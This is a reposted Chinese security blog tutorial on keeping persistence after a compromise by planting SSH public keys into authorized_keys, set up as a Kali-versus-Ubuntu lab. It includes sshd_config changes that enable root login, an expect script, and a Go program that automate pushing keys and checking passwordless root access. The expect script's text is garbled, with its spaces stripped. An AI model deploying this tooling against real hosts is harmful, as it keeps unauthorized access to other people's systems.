转载于: 跟着石头学安全 石头安全 2023-01-11 14:56 发表于上海
0x00 前言 新的一年,祝大家:兔眉吐气,生意洋洋得意,前程兔关大道,烦恼兔长而去;兔年发兔财! 反省:2022年换工作了,之后就一直没有继续更新公众号,经过小半年的漂泊,总算安顿下来了。偶尔抽空会发技术文章到群里,偷懒没有写文章,但创建公众号的初衷是可以把这里当作记录学习的一角,回头看不负韶华。感慨一下,也算翻过篇章。昨日种种昨日死,今日种种今日生,开启兔年新篇章。
0x01 SSH公钥实现权限维持 今天要讲的是 SSH 免密码实现权限维持,这里记录一下,顺便抛砖引玉,也看看能不能学习大家自己在权限维持这里更多的技巧。 先说实现过程 获取到高权限账号后,为了保证继续进行后续操作,需要保证当前权限不被ban掉。 写入公钥到目标机,利用本地私钥实现SSH免密登录属于权限维持的一种方式。 在攻击端生成密钥对,将公钥复制到目标机~/.ssh/authorized_keys 文件中,并设置相对应的权限,即可实现免密码登录被控端 0x02 实现 整个过程在虚拟机中模拟,利用kali当攻击端,ubuntu当作被控端。 整个过程分为3个过程: 1. 制作密钥对,2 上传密钥对到服务器,3实现免密登录。 注意事项: 目标主机ubuntu 采用桌面版 ,没有安装ssh服务,通过命令: 安装。 sudo apt-get install openssh-server 此次测试账号为root,所以ubuntu 需要给root设置密码。 安装ssh后,修改ssh配置文件 /etc/ssh/sshd_config 开启密钥登录。添加如下几项到服务器中
RSAAuthentication yes #启用RSA认证PubkeyAuthentication yes #启用公钥认证AuthorizedKeysFile .ssh/authorized_keys #公钥认证文件PermitRootLogin yes # 启用 root登录
首先攻击端生成公私钥 ssh -keygen -b 4096 -t rsa 生成后的文件存放在 ~/.ssh/ , id_rsa 为私钥,id_rsa.pub 公钥 第二步:上传公钥到ubuntu 服务器 ssh-copy-id -i ~/.ssh/id_rsa.pub root@192.168.227.136输入密码即可添加到公钥到authorized_keys 第三步:测试免密登录 ssh -p 22 root@192.168.227.136
简单实现 SSH 免密登录,权限维持的做法那就是将公钥多添加到不同的账户中,不同位置的authorized_keys中。 脚本实现 auto_ssh.sh 脚本 实现上传公钥 #!/usr/bin/expect
settimeout10setusername[lindex$argv0]setpassword[lindex$argv1]sethostname[lindex$argv2]setport[lindex$argv3]spawnssh-copy-id-p$port-i./id_rsa.pub-f$username@$hostnameexpect{#firstconnect,nopublickeyin~/.ssh/known_hosts"yes/no"{send"yes\r"expect"password:"send"$password\r"}#alreadyhaspublickeyin~/.ssh/known_hosts"password:"{send"$password\r"}"Nowtryloggingintothemachine"{#ithasauthorized,donothing!}}expecteofsshpublickeyLogin.go 实现功能:检查本地id_rsa文件,如果不存在就生成;调用auto_ssh文件上传公钥;于心ssh连接 检查是否可以实现无密码登录。 package main
import ( "bufio" "bytes" "encoding/json" "flag" "fmt" "os" "os/exec" "strconv" str "strings")
func main() { // sshPublickeyLogin // 1 备流输出路径 // 输入: port ,host,账号,密码
port := flag.Int("p", 22, "ssh server port") host := flag.String("h", "192.168.227.136", "host") username := flag.String("user", "root", "username") password := flag.String("pass", "test123", "password") dir := flag.String("dir", "result.json", "输出路径") flag.Parse() message, contents := pubKeyLogin(*port, *host, *username, *password) fmt.Println(message, contents)}
func pubKeyLogin(port int, host string, username string, password string) (message bool, contents string) { // 首先判断是否当前目录下是否存在 id_rsa.pub ,如果没有则生成 fileName := "id_rsa.pub" _, err := os.Stat(fileName) if err == nil { fmt.Println("[+] id_rsa.pub file exist") } else { cmd1 := exec.Command("ssh-keygen", "-b", "4096", "-t", "rsa", "-f", "id_rsa") var stdout1, stderr1 bytes.Buffer cmd1.Stdout = &stdout1 cmd1.Stderr = &stderr1 err := cmd1.Run() if err != nil { fmt.Println("[-] create id_rsa file fail", err.Error()) } fmt.Println("[+] create id_rsa file success ") } // 调用ssh-copy-id 上传id_rsa.pub cmd2 := exec.Command("./auto_ssh.sh", username, password, host, strconv.Itoa(port))
var stdout, stderr bytes.Buffer cmd2.Stdout = &stdout cmd2.Stderr = &stderr if err := cmd2.Run(); err != nil { fmt.Println("[-] ssh-copy-id fail", stderr.String()) return false, "" } fmt.Println("[+] send id_rsa file success ") // 检查 cmd3 := exec.Command("ssh", "-i", "id_rsa", "-p", strconv.Itoa(port), username+"@"+host) var stdout3, stderr3 bytes.Buffer cmd3.Stdout = &stdout3 cmd3.Stderr = &stderr3 if err := cmd3.Run(); err != nil { fmt.Println("[-] ssh connect fail") } else { if str.Contains(str.ToLower(stdout3.String()), str.ToLower("Welcome to")) { return true, "success" } } return false, ""
}看到这里,我为什么要调用sh去实现 ssh-copy-id命令,因为ssh-copy-id 使用时会调用ssh,而ssh的输出用go获取不到,也就不能输入密码和保存主机到know_hosts ,这也是为何我要提到抛砖引玉了,希望看到的大佬如果能更简单的实现可以call我。
|